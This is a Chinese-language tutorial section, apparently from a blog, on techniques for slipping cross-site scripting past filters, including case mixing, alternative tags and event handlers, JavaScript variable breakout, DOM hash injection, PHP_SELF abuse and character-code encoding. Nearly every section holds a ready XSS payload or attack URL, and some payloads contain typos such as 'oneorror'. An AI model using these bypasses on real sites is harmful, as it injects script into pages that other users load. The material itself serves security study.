第二节 xss绕过技巧

1. 大小写绕过

  标签使用大小写混合: <ScriPt>alErt(1)</ScRipT>

 

2. 属性多余

  原理: 对标签过滤一次

  绕过方法: 标签套娃

 

3. 黑名单标签

  原理: 只要有敏感标签就拦截

  绕过方法: 使用其他标签,例如:

       <img src="x" oneorror=prompt(1)>

       <a href="javascript:alert(1)">baidu</a>

       <a href="javascript:aaa" onm ouseover="alert(/xss/)">aa</a>

       <input value="" onclick(或者onmouseover)=alert('xss') type="text">

       <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

       <iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

       <待补充>

        用prompt或者confirm代替alert

 

4. js输出

  原理: 将用户输入的内容和自己添加的内容赋值给一个js中的变量

  漏洞利用: 把变量闭合,然后由于是在js的<script>标签内,所以变量闭合后添加alert语句,然后注释后面多余内容,因此payload可构造如下

    变量=xxx";alert(1);//

 

5. dom输出

  原理: 对dom属性来进行攻击

  举例: 如果网站调用了location.hash.substring(1)这个属性, 那么他会读取锚的内容来判断网页状态。

      hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)

      锚,就是类似页面内跳转的东西,例如百度百科中的跳跃,URL的锚(#符号之后的任何内容)不会发送到服务器,因此无法被阻止。

  漏洞利用: 例子: http://target_sys.com/xss/xss10.php?name=moon#<script>alert(/xss/);</script>

 

6. php $_SERVER['PHP_SELF'] 漏洞

  原理: $_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,可是当程序员写表单提交的标签时,如果写成这样:<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">,那么对于用户而言,他们可以在url的后面闭合action属性,然后填上攻击代码,从而达成攻击目的

  举例: http://target_sys.com/xss/xss11.php/" onsubmit=alert('1')

 

7. php的gpc开启(即特殊字符前加\转义,例如 ' " \ NULL)

  原理: 各种特殊字符被转义

  方法: 利用编码

     http://target_sys.com/xss/xss12.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

      PHP中GPC绕过的一些总结_cnbird's blog-CSDN博客

 

8. 拦截<>

  方法: 闭合前面的属性,然后添加事件属性,并且内容中带有伪协议

  举例: http://target_sys.com/xss/xss13.php?name=moon' onm ouseover='javascript:alert(1)‘

 

<待补充>

上一篇:绝对干货!src漏洞挖掘经验分享


下一篇:前端基础知识归纳